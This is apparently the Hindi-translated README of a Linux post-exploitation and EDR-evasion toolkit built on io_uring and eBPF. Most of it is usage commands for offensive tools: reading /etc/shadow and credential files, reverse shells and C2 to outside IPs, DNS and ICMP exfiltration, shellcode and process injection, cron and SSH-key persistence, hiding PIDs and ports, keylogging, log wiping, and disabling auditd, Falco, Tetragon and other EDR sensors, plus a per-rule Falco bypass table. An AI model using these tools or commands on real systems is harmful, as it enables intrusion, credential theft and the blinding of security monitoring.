
लिनक्स के लिए पोस्ट-एक्सप्लॉइटेशन और एवेज़न अनुसंधान टूलकिट।
लिनक्स के लिए पोस्ट-एक्सप्लॉइटेशन और एवेज़न रिसर्च टूलकिट, जो io_uring और eBPF पर आधारित है। कोई liburing नहीं, कोई फ्रेमवर्क नहीं, हर जगह रॉ सिस्कॉल्स।
जल्द ही और टूल्स आ रहे हैं। PRs का स्वागत है। 🇧🇷
रूटकिट रिसर्चर्स में शामिल हों
केवल अधिकृत शोध और रेड टीम अभियानों के लिए। इसे उन सिस्टम पर न चलाएँ जिनके आप मालिक नहीं हैं।
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Requirements
**Toolchain**
| tool | needed for |
|---|---|
| `gcc` | सभी यूजरस्पेस बाइनरी |
| `clang` | `ebpf/*.bpf.c` BPF-पक्ष प्रोग्राम |
| `make` | बिल्ड प्रणाली |
**Headers and libraries**
| package | needed for |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` और संबंधित कर्नेल हेडर |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` और `ebpf/` प्रोग्रामों में उपयोग किए जाने वाले अन्य समान हेडर |
| `bpftool` | `ebpf/` के अंदर `make vmlinux` के माध्यम से `vmlinux.h` उत्पन्न करें |
डेबियन/काली/उबंटू पर:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Kernel versions
क्षमताएँ
ebpf/ प्रोग्राम्स के लिए make vmlinux चलाने हेतु कर्नेल में BTF सक्षम होना चाहिए (CONFIG_DEBUG_INFO_BTF=y)।
पुराने libc-dev हेडर वाले डिस्ट्रोस (Ubuntu 22.04 आदि) पर आपको #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45 की आवश्यकता हो सकती है। इस रिपॉजिटरी में पहले से संभाला गया है।
edrs/ के पास अपना स्वयं का sub-Makefile है, जिसमें ~75 बाइनरी विशेषाधिकार के आधार पर विभाजित हैं:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
पूर्ण विवरण के लिए [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) देखें।
## io_uring बायपास कवरेज
io_uring SQEs कर्नेल वर्कक्यू से होकर गुजरते हैं। `io_uring_enter(2)` कभी भी `sys_call_table` से होकर कॉल नहीं करता, कभी भी `sys_enter_*` ट्रेसपॉइंट फायर नहीं करता, और `native_sys_call` पर लाइवपैच को कभी ट्रिगर नहीं करता। यह अकेले ही बिना कुछ छुए EDR हुक्स की एक बड़ी श्रेणी को बेअसर कर देता है।
io_uring अपने आप क्या बायपास करता है:
| हुक पॉइंट | टिप्पणी |
|---|---|
| `sys_call_table` पॉइंटर रिप्लेसमेंट | io_uring कभी भी syscall टेबल से नहीं गुजरता |
| `native_sys_call` / `compat_sys_call` पर लाइवपैच | यही कारण |
| `sys_enter_*` ट्रेसपॉइंट | वर्कक्यू पाथ, कोई ट्रेसपॉइंट फायर नहीं होता |
io_uring अपने आप क्या बायपास नहीं करता (एक सक्रिय टूल की आवश्यकता होती है):
| हुक पॉइंट | टूल | टूल क्या करता है |
|---|---|---|
| `vfs_read`, `security_file_open` आदि पर kprobes | `ftrace_enum` | kprobe हुक्स को हटा देता है |
| BPF LSM / KRSI | `bpf_link_detach` | BPF लिंक को अलग कर देता है |
| Linux ऑडिट | `audit_kill` | NETLINK_AUDIT के ज़रिए auditd को अक्षम कर देता है |
| LD_PRELOAD / PLT-GOT पैच | `plt_unhook` | यूज़रलैंड हुक्स को हटा देता है |
| netfilter OUTPUT / conntrack | `af_packet_shell` | लेयर 2 पर AF_PACKET का उपयोग करता है, netfilter को छोड़ देता है |
| `inet_stream_connect` हुक्स | `udp_shell` | UDP का उपयोग करता है, tcp connect पाथ को कभी कॉल नहीं करता |
## io_uring/
`iouring_utils.h` liburing के बिना रिंग सेटअप संभालता है।
| बाइनरी | यह क्या करता है |
|---|---|
| `file_read` | io_uring के ज़रिए OPENAT+READ+CLOSE चेन, कोई sys_enter_read इवेंट नहीं |
| `file_write` | OPENAT+WRITE+CLOSE चेन |
| `file_append` | file_write जैसा ही लेकिन O_APPEND, ऑफसेट -1 |
| `net_connect` | एक ही रिंग में SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT पर रिवर्स शेल |
| `multifile_read` | एक SQE बैच में 64 फाइलों तक |
| `memfd_exec` | stdin के ज़रिए ELF को memfd में स्ट्रीम करता है, /proc/self/fd के ज़रिए execve |
| `proc_inject` | /proc/PID/mem के ज़रिए JIT इंजेक्शन; ptrace इंजेक्शन (--ptrace फ्लैग) |
| `pipe_splice` | SPLICE कर्नेल-से-कर्नेल, यूज़रस्पेस हुक्स बाइट्स कभी नहीं देखते |
| `inotify_bypass_watch` | io_uring READ IN_ACCESS/IN_OPEN जनरेट नहीं करता |
| `dns_exfil` | io_uring SENDMSG पर डेटा को DNS क्वेरी लेबल के रूप में हेक्स-एनकोड करता है |
| `af_packet_send` | AF_PACKET के ज़रिए रॉ Ethernet (IORING_OP_SOCKET, inet पाथ को बायपास करता है) |
| `xdp_socket_send` | AF_XDP + UMEM रिंग के ज़रिए रॉ फ्रेम, netfilter को पूरी तरह बायपास करता है |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
अधिकांश टूल्स को CAP_BPF की आवश्यकता होती है। env_exfil बिना विशेषाधिकार के काम करता है। icmp_trigger को CAP_BPF के बजाय CAP_NET_RAW की आवश्यकता होती है।
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
इसके लिए clang + libbpf + vmlinux.h आवश्यक है। चालू कर्नेल के BTF से उत्पन्न करने के लिए `ebpf/` के अंदर `make vmlinux` चलाएँ।
| फ़ाइल | यह क्या करता है |
|---|---|
| `exec.bpf.c` | sys_enter_execve पर ट्रेसपॉइंट |
| `fentry_open.bpf.c` | sys_enter_openat पर ट्रेसपॉइंट |
| `creds.bpf.c` | क्रेडेंशियल पथों पर openat+read ट्रैक करता है |
| `keylog.bpf.c` | इनपुट इवेंट ट्रेसपॉइंट, रॉ कीकोड कैप्चर |
| `net.bpf.c` | sys_enter_connect लॉगिंग |
| `net_hide.bpf.c` | /proc/net/tcp और /proc/net/udp से पोर्ट छिपाता है |
| `proc_hide.bpf.c` | getdents64 आउटपुट से PIDs छिपाता है |
| `tty_sniff.bpf.c` | stdin/stdout/stderr राइट्स और रीड्स कैप्चर करता है |
| `skf_c2_runner.c` | क्लासिक BPF सॉकेट फ़िल्टर के माध्यम से ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | मैजिक UDP पैकेट पर XDP ट्रिगर |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falco बायपास)
Falco के डिफ़ॉल्ट नियम-सेट (`modern_ebpf` ड्राइवर, 25 नियम) को लक्षित करता है। पहले `edrs/edr_recon` चलाएँ।
बायपास अक्ष A: इवेंट को Falco तक पहुँचने से रोकें (io_uring `sys_enter_*` को छोड़ देता है, ringbuf ड्रेन इवेंट्स को चुपचाप ड्रॉप कर देता है)।
बायपास अक्ष B: इवेंट Falco तक पहुँचता है लेकिन नियम की शर्त मेल नहीं खाती (proc.name स्पूफ़, पाथ पिवट, वैकल्पिक फ़्लैग्स)।
| उपकरण | अक्ष | Falco नियम |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | सभी |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | सभी |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | सभी |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | सभी 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
एक PR खोलें। एकल-उद्देश्य वाले टूल, रॉ सिस्कॉल, कोई नई निर्भरता नहीं।
यह प्रोजेक्ट पूर्ण रूप से केवल सुरक्षा अनुसंधान, अधिकृत पेनेट्रेशन टेस्टिंग, CTF प्रतियोगिताओं और डिफेंसिव टूलिंग विकास के लिए है। यहाँ प्रदर्शित सभी तकनीकें सार्वजनिक सुरक्षा अनुसंधान और कर्नेल दस्तावेज़ीकरण में प्रलेखित हैं।
इस टूलकिट का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है। अनधिकृत उपयोग कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (CFAA), सूचना प्रणालियों पर हमलों के विरुद्ध EU निर्देश, और आपके क्षेत्राधिकार के समकक्ष कानूनों का उल्लंघन कर सकता है।
लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं। इस सॉफ़्टवेयर का उपयोग करके आप सहमत हैं कि लागू कानूनों के अनुपालन के लिए आप पूर्ण रूप से जिम्मेदार हैं।
| न्यूनतम | यह क्या अनलॉक करता है |
|---|
| 5.4 | io_uring आधार (IORING_FEAT_SINGLE_MMAP, BPF मैप पुनरावृत्ति) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON विभाजन (BPF के लिए CAP_SYS_ADMIN को प्रतिस्थापित करता है) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
| क्षमता | इसे आवश्यक बनाने वाले टूल |
|---|
CAP_BPF (या 5.8 से पहले CAP_SYS_ADMIN) | सभी bpf/ टूल, ebpf/ लोडर |
CAP_PERFMON | ebpf/ ट्रेसपॉइंट और kprobe प्रोग्राम |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| कमांड | निर्माण |
|---|
make all | सब कुछ |
make uring | केवल io_uring/ |
make bpf | bpf/ यूज़रस्पेस टूल |
make ebpf | BPF-साइड प्रोग्राम (clang + libbpf की आवश्यकता है) |
make edrs | सभी edrs/ बाइनरी |
make techniques | Falco बायपास टूल |
make clean | सभी बाइनरी हटाएं |
| बाइनरी | यह क्या करता है |
|---|
map_recon | लोड किए गए सभी BPF मैप्स की सूची बनाता है |
map_dumper | ID द्वारा मैप सामग्री डंप करता है |
map_write | ID द्वारा मैप प्रविष्टियाँ अपडेट करता है |
map_poison | पेलोड के आसपास Falco की interesting_sys प्रविष्टियाँ शून्य करता है |
prog_recon | BPF प्रोग्राम सूचीबद्ध करता है: प्रकार, नाम, मैप गिनती |
pid_allowlist | EDR अनुमति-सूची मैप में PID डालता है |
edr_fin | लोड किए गए BPF मैप्स/प्रोग्राम को ज्ञात EDR ह्यूरिस्टिक्स के विरुद्ध स्कोर करता है |
lsm_check | सक्रिय BPF LSM हुक का पता लगाता है और जाँचता है कि क्या मैप लेखन अवरुद्ध हैं |
bpf_persist | bpffs पर मैप्स और प्रोग्राम को पिन/पुनर्प्राप्त/अनपिन करता है |
map_snapshot | मैप सामग्री को बाइनरी फ़ाइल में सहेजता और पुनर्स्थापित करता है |
env_exfil | रहस्यों के लिए /proc/*/environ पढ़ता है |
bpf_link_detach | BPF लिंक्स की गणना करता है और उन्हें अलग करता है (LSM हुक हटाता है) |
link_update | BPF लिंक को नो-ऑप प्रोग्राम पर पुनर्निर्देशित करता है (हुक दृश्यमान रहता है, कुछ भी ट्रिगर नहीं करता) |
map_freeze | BPF_MAP_FREEZE के माध्यम से BPF मैप को केवल-पठनीय फ्रीज़ करता है (लेखन -EPERM लौटाते हैं) |
icmp_trigger | ICMP मैजिक-पैकेट बैकडोर; socketpair रिले के माध्यम से रिवर्स शेल उत्पन्न करता है; kworker/u4:2 के रूप में छद्म करता है |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| बाइनरी | रूट | तकनीक |
|---|
edr_recon | हाँ | 12-विक्रेता EDR डिटेक्टर: प्रोसेस, आर्टिफैक्ट, मॉड्यूल, BPF, kprobes |
bpf_prog_recon | हाँ | लोडेड BPF प्रोग्राम, मैप्स और kprobes सूचीबद्ध करें |
bpf_map_wipe | हाँ | BPF मैप प्रविष्टियाँ मिटाएं |
bpf_detach_all | हाँ | सभी BPF लिंक अलग करें |
tetragon_blind | हाँ | Tetragon/Falco प्रोसेस को स्कैन करें, फ्रीज़ करें, थाव करें, मारें या अंधा करें |
ftrace_enum | हाँ | kprobe/ftrace हुक सूचीबद्ध करें और साफ़ करें |
lkm_unload | हाँ | कर्नेल मॉड्यूल अनलोड करें |
lkm_inline_detect | हाँ | इनलाइन कर्नेल हुक का पता लगाएं |
perf_bpf_kill | हाँ | Falco perf-event BPF प्रोग्राम सूचीबद्ध करें और मारें |
module_recon | हाँ | कर्नेल मॉड्यूल सूचीबद्ध करें |
cgroup_freeze | हाँ | cgroup v2 के माध्यम से प्रोसेस फ्रीज़/थाव करें |
oom_cage | हाँ | स्वयं या लक्ष्य के लिए oom_score_adj सेट करें |
sysctl_blind | हाँ | सुरक्षा-संबंधित sysctls पढ़ें/लिखें |
audit_kill | हाँ | NETLINK_AUDIT के माध्यम से Linux ऑडिट अक्षम/थ्रॉटल करें |
inotify_exhaust | हाँ | सभी inotify वॉचेज़ को खपत करें |
netfilter_flush | हाँ | netfilter चेन फ्लश करें |
dmesg_wipe | हाँ | कर्नेल रिंग बफर साफ़ करें |
ld_so_preload | हाँ | /etc/ld.so.preload में हेरफेर करें |
proc_hide | हाँ | bind-mount के माध्यम से /proc/PID छिपाएँ |
mount_over | हाँ | मनमाने पथों पर bind-mount करें |
log_wipe | हाँ | लॉग फ़ाइलें और शेल इतिहास ट्रंकेट करें |
elf_infect | हाँ | PT_NOTE से PT_LOAD परजीवी इंजेक्शन |
proc_mem_inject | हाँ | /proc/PID/mem पर pwrite करें, कोई ptrace संलग्न नहीं |
af_packet_shell | हाँ | रॉ ईथरनेट C2 जो netfilter OUTPUT को बायपास करता है |
icmp_tunnel | हाँ | ICMP echo-request पेलोड के माध्यम से एक्सफिल |
event_flood | हाँ | मॉनिटर को संतृप्त करने के लिए पेलोड के चारों ओर ईवेंट बाढ़ |
livepatch_bypass | हाँ | syscall डिस्पैचर पर livepatch हुक को बायपास करने वाला io_uring |
livepatch_stack_blind | हाँ | livepatch + BPF kprobe + netfilter हुक स्टैक अक्षम करें; comm स्पूफिंग के माध्यम से मॉड्यूल अनलोड करें |
lsm_authlink_blind | हाँ | LSM auth-link प्रवाह अक्षम करें, auth एजेंट को फ्रीज़ या मारें, inode swap के माध्यम से लिखें |
lsm_callback_bypass | हाँ | pidfd_getfd, process_vm_writev, perf+BPF अटैच, नए netns के माध्यम से LSM कॉलबैक बायपास करें |
bpf_fim_blind | हाँ | BPF FIM सेंसर फ्रीज़ करें, ring-buffer मैप प्रविष्टियाँ मिटाएं, ringbuf में बाढ़ लाएं |
syscall_dispatch_bypass | हाँ | syscall डिस्पैच और livepatch do_syscall_64 पर kprobes को बायपास करने वाले io_uring फ़ाइल/नेट ऑप्स |
bpf_kprobe_bypass | हाँ | _x64_sys* kprobe लक्ष्यों को बायपास करने वाले io_uring फ़ाइल/नेट/एक्सेक ऑप्स |
ptrace_inject_so | हाँ | ptrace + dlopen के माध्यम से लाइव प्रोसेस में .so लोड करें |
uring_stealth | नहीं | io_uring के माध्यम से फ़ाइल/नेट ऑप्स, कोई sys_enter_* ईवेंट नहीं |
openat2_bypass | नहीं | वैकल्पिक syscalls (openat2, copy_file_range) |
ptrace_selfguard | नहीं | गार्डियन प्रोसेस के माध्यम से बाहरी ptrace को ब्लॉक करें |
plt_unhook | नहीं | dlmopen के माध्यम से PLT-GOT हुक का पता लगाएं और बायपास करें |
fexecve_drop | नहीं | ELF को memfd में डालें, /proc/self/fd के माध्यम से execve करें |
memfd_loader | नहीं | memfd के माध्यम से .so लोड करें, कंस्ट्रक्टर कॉल होता है |
memfd_userexec | नहीं | stdin से ELF को memfd में डालें, /proc/self/fd के माध्यम से execve करें |
hollow_proc | नहीं | ps में डिकॉय नाम के साथ प्रोसेस हॉलोइंग |
argv_spoof | नहीं | prctl(PR_SET_NAME) और argv[0] अधिलेखन के माध्यम से comm का नाम बदलें |
clone_netns | नहीं | बिना विशेषाधिकार वाला नेट नेमस्पेस exec |
ns_exec | नहीं | user/pid/mount नेमस्पेस अनशेयर करें |
splice_c2 | नहीं | डेटा ट्रांसफर के लिए splice(2) उपयोग करने वाला TCP C2; send/recv हुक कभी सक्रिय नहीं होते |
abstract_sock_c2 | नहीं | एब्स्ट्रैक्ट यूनिक्स सॉकेट के ऊपर C2 |
udp_shell | नहीं | UDP रिवर्स शेल, inet_stream_connect को बायपास करता है |
tls_shell | नहीं | नकली TLS ClientHello के पीछे रिवर्स शेल |
dns_exfil_raw | नहीं | डेटा को DNS क्वेरी लेबल के रूप में hex-एन्कोड करें |
pidfd_steal | नहीं | pidfd_getfd के माध्यम से अन्य प्रोसेस से खुले fds चुराएँ |
vma_hide | नहीं | RWX से PROT_NONE चक्र, MADV_DONTDUMP, VMA नाम बदलना |
coredump_block | नहीं | filter/dumpable/rlimit के माध्यम से कोर डंप ब्लॉक करें |
seccomp_notify | नहीं | SECCOMP_USER_NOTIF के माध्यम से syscalls इंटरसेप्ट करें |
ipc_covert | नहीं | POSIX mqueue के ऊपर C2 |
shared_mem_c2 | नहीं | POSIX shm के ऊपर C2, कोई नेटवर्क ट्रैफिक नहीं |
pipe_exfil | नहीं | splice(2) एक्सफिल, LD_PRELOAD हुक को अंधा करता है |
proc_fd_scan | नहीं | संवेदनशील पथों के लिए /proc/PID/fd सिमलिंक स्कैन करें |
proc_vm_inject | नहीं | process_vm_writev, कोई /proc/PID/fd नहीं खोला गया |
self_delete | नहीं | चलते समय डिस्क से अपनी बाइनरी हटाएं |
time_stomp | नहीं | atime+mtime क्लोन/शून्य/सेट करें |
userland_persist | नहीं | bashrc/crontab/autostart/authorized_keys |
env_scrape | नहीं | सीक्रेट और SSH सॉकेट के लिए /proc/*/environ पढ़ें |
anon_shellcode | नहीं | MAP_ANONYMOUS में शेलकोड, कोई फ़ाइल नहीं, कोई execve नहीं |
ld_preload_inject | नहीं | .so ड्रॉप करें, LD_PRELOAD के माध्यम से इंजेक्ट करें |
ssh_agent_hijack | नहीं | कैप्चर किए गए सॉकेट से एजेंट प्रोटोकॉल बोलें |
fanotify_bypass | नहीं | fanotify मार्क्स से बचने के लिए memfd/anon-mmap/devshm |
ringbuf_flood | नहीं | ईवेंट ड्रॉप करने के लिए BPF ringbuf को संतृप्त करें |
log_evasion | नहीं | io_uring फ़ाइल ऑप्स और रॉ-syscall TCP शेल, कोई libc रैपर नहीं |
syscalltable_bypass | नहीं | sys_call_table पॉइंटर हुक को बायपास करने वाला io_uring |
uring_recon_unpriv | नहीं | io_uring read के माध्यम से क्रेडेंशियल, कुंजियाँ, कनेक्शन |
fd_steal_read | नहीं | pidfd_getfd के माध्यम से fds चुराएँ, बिना अपने open() के पढ़ें |
mmap_read | नहीं | mmap के माध्यम से फ़ाइलें पढ़ें, कोई read() syscall नहीं |
scm_rights_exfil | नहीं | SCM_RIGHTS के ऊपर fd पास करें, बिना अपने open() के पढ़ें |
splice_read | नहीं | splice(2) के माध्यम से पढ़ें, कोई यूज़रस्पेस बफर नहीं |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| नियम | बाइपास | टूल |
|---|
| 1 डायरेक्टरी ट्रैवर्सल मॉनिटर की गई फ़ाइल रीड | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 अविश्वसनीय संवेदनशील फ़ाइल पढ़ना | io_uring या prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 अविश्वसनीय शेल चलाना | python3/perl बजाय sh | rule_evade unusual-shell |
| 6 कंटेनर में टर्मिनल शेल | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 K8S API सर्वर से संपर्क करना | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C बाइनरी, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 निजी कुंजियाँ खोजना | C में open+read, grep/find नहीं | bypass_file_rules grep-bypass |
| 10 लॉग गतिविधियाँ साफ़ करना | O_TRUNC के बिना ftruncate | bypass_file_rules log-clear |
| 11 थोक डेटा हटाना | write लूप, shred/mkfs नहीं | bypass_file_rules wipe |
| 15 STDOUT/STDIN को नेटवर्क पर रीडायरेक्ट करना | dup2 के बजाय fcntl F_DUPFD | bypass_proc_rules reverse-shell |
| 18 release_agent एस्केप का पता लगाना | release_agent पर io_uring OPENAT+WRITE | cgroup_escape proof/shell, uring_ops write |
| 19 प्रोसेस से जुड़ा PTRACE | /proc/PID/mem या process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE एंटी-डीबग प्रयास | /proc/self/status के माध्यम से TracerPid जाँच | bypass_proc_rules anti-debug |
| 22 /dev/shm से निष्पादन | इसके बजाय /run/user/uid/ से exec | bypass_proc_rules run-safe |
| 25 memfd_create के माध्यम से फ़ाइललेस निष्पादन | execve के बिना mmap के माध्यम से शेलकोड | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| सभी | ringbuf खाली करें या scap.ko हटाएँ | ringbuf_overflow, kmod_unload |